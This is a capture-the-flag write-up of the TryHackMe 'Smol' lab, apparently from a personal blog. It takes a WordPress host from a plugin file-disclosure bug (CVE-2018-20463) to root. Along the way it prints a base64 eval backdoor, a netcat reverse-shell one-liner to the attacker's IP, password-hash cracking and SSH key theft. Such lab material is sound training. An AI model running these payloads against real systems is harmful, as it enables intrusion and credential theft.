Post

TryHackMe: Smol

TryHackMe: Smol

Smol started by enumerating a WordPress instance to discover a plugin with a file disclosure vulnerability. This vulnerability allowed us to identify a backdoor in another plugin, which we then exploited to gain a shell.

After obtaining the shell, we performed several privilege escalation steps to reach the root user. First, we cracked hashes from the database. Next, we read a private SSH key for a user. Then, we exploited a PAM rule for su. After that, we cracked the password for a ZIP archive to retrieve a password. Finally, we leveraged sudo privileges to escalate to root.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

We start with an nmap scan.

1
2
3
4
5
6
7
8
9
10
11
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.0.24
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://www.smol.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two open ports:

  • 22 (SSH)
  • 80 (HTTP)

Nmap indicates that the website on port 80 redirects to http://www.smol.thm. To proceed, we add it to our hosts file along with smol.thm:

1
10.10.0.24 smol.thm www.smol.thm

Web 80

Visiting http://www.smol.thm/, we are greeted with a WordPress site.

Web 80 Index

Shell as www-data

Since we have found a WordPress installation, we can use wpscan to enumerate it as follows:

1
wpscan --url http://www.smol.thm/

From the output, one notable finding is the jsmol2wp v1.07 plugin being installed.

1
2
3
4
5
6
7
8
9
10
11
12
[+] jsmol2wp
 | Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
 | Latest Version: 1.07 (up to date)
 | Last Updated: 2018-03-09T10:28:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

Looking for vulnerabilities in the plugin, we find CVE-2018-20463, which is both an SSRF and a file disclosure vulnerability. A provided PoC for this vulnerability is as follows:

1
http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

Testing the vulnerability by making a request to:

1
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

We confirm that the vulnerability exists, as the request returns the contents of the wp-config.php file and this file includes the database credentials: wpuser:kb[REDACTED]%G

Web 80 File Disclosure Wpconfig

We can test these credentials for the WordPress login at http://www.smol.thm/wp-login.php.

Web 80 Wordpress Login

As the credentials work, we successfully log in and gain access to the WordPress dashboard.

Web 80 Wordpress Dashboard

After accessing the dashboard, we check the pages and find a private page titled Webmaster Tasks!!.

Web 80 Wordpress Pages

Viewing this page reveals a to-do list. One of the items stands out, as it mentions a possible backdoor in the source code of the Hello Dolly plugin, which comes pre-installed with the WordPress application.

Web 80 Wordpress Todo

Using the file disclosure vulnerability, we can check the source code for the Hello Dolly plugin by making a request to:

1
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php

In the source code, we find an interesting line in the hello_dolly function:

1
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));

Web 80 File Disclosure Hellodolly

Decoding the base64 string in the code reveals the mentioned backdoor:

1
2
3
$ echo 'CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=' | base64 -d

 if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }

Decoding the variable names in the code, we find both of them as cmd:

1
2
$ php -r 'echo "\143\155\x64" . ":" . "\143\x6d\144";'
cmd:cmd

Essentially, the backdoor works as follows:

  1. It decodes the base64 string, resulting in the code we discovered.
  2. It executes the decoded code using the eval function.
  3. The decoded code runs whatever is passed via the cmd GET parameter using the system function.

Unfortunately, we cannot call the hello_dolly function directly by visiting the /wp-content/plugins/hello.php endpoint. However, we can see this file included automatically in the dashboard, and the function is called, as evidenced by the lyrics displayed in the dashboard.

Web 80 Wordpress Hellodolly

Knowing this, we can execute our reverse shell payload (rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.11.72.22 443 >/tmp/f) by visiting:

1
http://www.smol.thm/wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.11.72.22%20443%20%3E%2Ftmp%2Ff

Web 80 Wordpress Shell

This results in a shell as the www-data user in our listener.

1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.0.24] 59750
www-data@smol:/var/www/wordpress/wp-admin$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@smol:/var/www/wordpress/wp-admin$ export TERM=xterm
www-data@smol:/var/www/wordpress/wp-admin$ ^Z
zsh: suspended  nc -lvnp 443

[1]  - continued  nc -lvnp 443

www-data@smol:/var/www/wordpress/wp-admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as diego

Since we already have access to the database credentials from the configuration file, we can use them to enumerate the database and retrieve the hashes for the users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@smol:/var/www/wordpress/wp-admin$ mysql -u wpuser -p'kb[REDACTED]%G' -D wordpress

mysql> select user_login,user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. |
| wpuser     | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. |
| think      | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ |
| gege       | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 |
| diego      | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 |
| xavi       | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 |
+------------+------------------------------------+
6 rows in set (0.00 sec)

Creating a text file containing the usernames and hashes as follows:

1
2
3
4
5
admin:$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.
think:$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
gege:$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi:$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1

Attempting to crack the hashes, we find that the hash for the diego user eventually cracks to sandiegocalifornia.

1
2
3
4
$ john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
...
sandiegocalifornia (diego)
...

Unfortunately, we cannot use this password for SSH. However, we can use it from the existing shell with su to switch to the diego user and once switched, we can read the user flag located at /home/diego/user.txt.

1
2
3
4
www-data@smol:/var/www/wordpress/wp-admin$ su - diego
Password:
diego@smol:~$ wc -c /home/diego/user.txt
33 /home/diego/user.txt

Shell as think

Checking our group memberships as the diego user, we notice that we are part of the internal group. This membership grants us read access to other users’ home directories.

1
2
3
4
5
6
7
8
9
10
diego@smol:~$ id
uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal)
diego@smol:~$ ls -la /home
total 24
drwxr-xr-x  6 root  root     4096 Aug 16  2023 .
drwxr-xr-x 18 root  root     4096 Mar 29  2024 ..
drwxr-x---  2 diego internal 4096 Aug 18  2023 diego
drwxr-x---  2 gege  internal 4096 Aug 18  2023 gege
drwxr-x---  5 think internal 4096 Jan 12  2024 think
drwxr-x---  2 xavi  internal 4096 Aug 18  2023 xavi

Checking the home directories of other users, we discover a private SSH key located in the think user’s home directory at /home/think/.ssh/id_rsa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
diego@smol:~$ ls -la /home/think
total 32
drwxr-x--- 5 think internal 4096 Jan 12  2024 .
drwxr-xr-x 6 root  root     4096 Aug 16  2023 ..
lrwxrwxrwx 1 root  root        9 Jun 21  2023 .bash_history -> /dev/null
-rw-r--r-- 1 think think     220 Jun  2  2023 .bash_logout
-rw-r--r-- 1 think think    3771 Jun  2  2023 .bashrc
drwx------ 2 think think    4096 Jan 12  2024 .cache
drwx------ 3 think think    4096 Aug 18  2023 .gnupg
-rw-r--r-- 1 think think     807 Jun  2  2023 .profile
drwxr-xr-x 2 think think    4096 Jun 21  2023 .ssh
lrwxrwxrwx 1 root  root        9 Aug 18  2023 .viminfo -> /dev/null
diego@smol:~$ ls -la /home/think/.ssh
total 20
drwxr-xr-x 2 think think    4096 Jun 21  2023 .
drwxr-x--- 5 think internal 4096 Jan 12  2024 ..
-rwxr-xr-x 1 think think     572 Jun 21  2023 authorized_keys
-rwxr-xr-x 1 think think    2602 Jun 21  2023 id_rsa
-rwxr-xr-x 1 think think     572 Jun 21  2023 id_rsa.pub

We can simply use this private key with SSH to gain a shell as the think user.

1
2
3
4
diego@smol:/home/think/.ssh$ ssh -i id_rsa think@127.0.0.1
...
think@smol:~$ id
uid=1000(think) gid=1000(think) groups=1000(think),1004(dev),1005(internal)

Shell as gege

Checking the PAM configuration file for su located at /etc/pam.d/su, we notice an interesting entry:

1
2
3
4
5
think@smol:~$ cat /etc/pam.d/su
...
auth  [success=ignore default=1] pam_succeed_if.so user = gege
auth  sufficient                 pam_succeed_if.so use_uid user = think
...

This rule specifies that when using su, if the target user is gege, authentication will succeed as long as the current user is think. Therefore, as the think user, we can simply use the su command to switch to the gege user without needing their password.

1
2
3
think@smol:~$ su - gege
gege@smol:~$ id
uid=1003(gege) gid=1003(gege) groups=1003(gege),1004(dev),1005(internal)

Shell as xavi

Checking our home directory as the gege user, we find an interesting ZIP archive named wordpress.old.zip.

1
2
3
4
5
6
7
8
9
10
gege@smol:~$ ls -la /home/gege
total 31532
drwxr-x--- 2 gege internal     4096 Aug 18  2023 .
drwxr-xr-x 6 root root         4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root            9 Aug 18  2023 .bash_history -> /dev/null
-rw-r--r-- 1 gege gege          220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gege gege         3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 gege gege          807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root            9 Aug 18  2023 .viminfo -> /dev/null
-rwxr-x--- 1 root gege     32266546 Aug 16  2023 wordpress.old.zip

We can download this archive by starting an HTTP server using python on the target:

1
2
gege@smol:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

And downloading it from our machine using wget:

1
$ wget http://smol.thm:8080/wordpress.old.zip

Unfortunately, when attempting to extract the archive, we find that it is encrypted and prompts for a password:

1
2
3
$ unzip wordpress.old.zip
Archive:  wordpress.old.zip
[wordpress.old.zip] wordpress.old/wp-config.php password:

While we don’t have the password for the archive, we can attempt to crack it. First, we use zip2john to create a hash that john can work with:

1
$ zip2john wordpress.old.zip > archive_hash

Now, attempting to crack it, we find the password for the archive: hero_gege@hotmail.com.

1
2
3
4
$ john archive_hash --wordlist=/usr/share/wordlists/rockyou.txt
...
hero_gege@hotmail.com (wordpress.old.zip)
...

Extracting the archive and inspecting the wp-config.php file, we discover different database credentials: xavi:P@[REDACTED]i@.

1
2
3
4
5
6
7
8
$ cat wordpress.old/wp-config.php
...
/** Database username */
define( 'DB_USER', 'xavi' );

/** Database password */
define( 'DB_PASSWORD', 'P@[REDACTED]i@' );
...

Testing this password for the xavi user, we successfully switch to the user using su:

1
2
3
4
gege@smol:~$ su - xavi
Password:
xavi@smol:~$ id
uid=1001(xavi) gid=1001(xavi) groups=1001(xavi),1005(internal)

Shell as root

Checking the sudo privileges for the xavi user, we see that the user has full privileges:

1
2
3
4
5
6
7
xavi@smol:~$ sudo -l
[sudo] password for xavi:
Matching Defaults entries for xavi on smol:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on smol:
    (ALL : ALL) ALL

We can use this to switch to the root user and read the root flag located at /root/root.txt, completing the room:

1
2
3
4
5
xavi@smol:~$ sudo su -
root@smol:~$ id
uid=0(root) gid=0(root) groups=0(root)
root@smol:~$ wc -c /root/root.txt
33 /root/root.txt
This post is licensed under CC BY 4.0 by the author.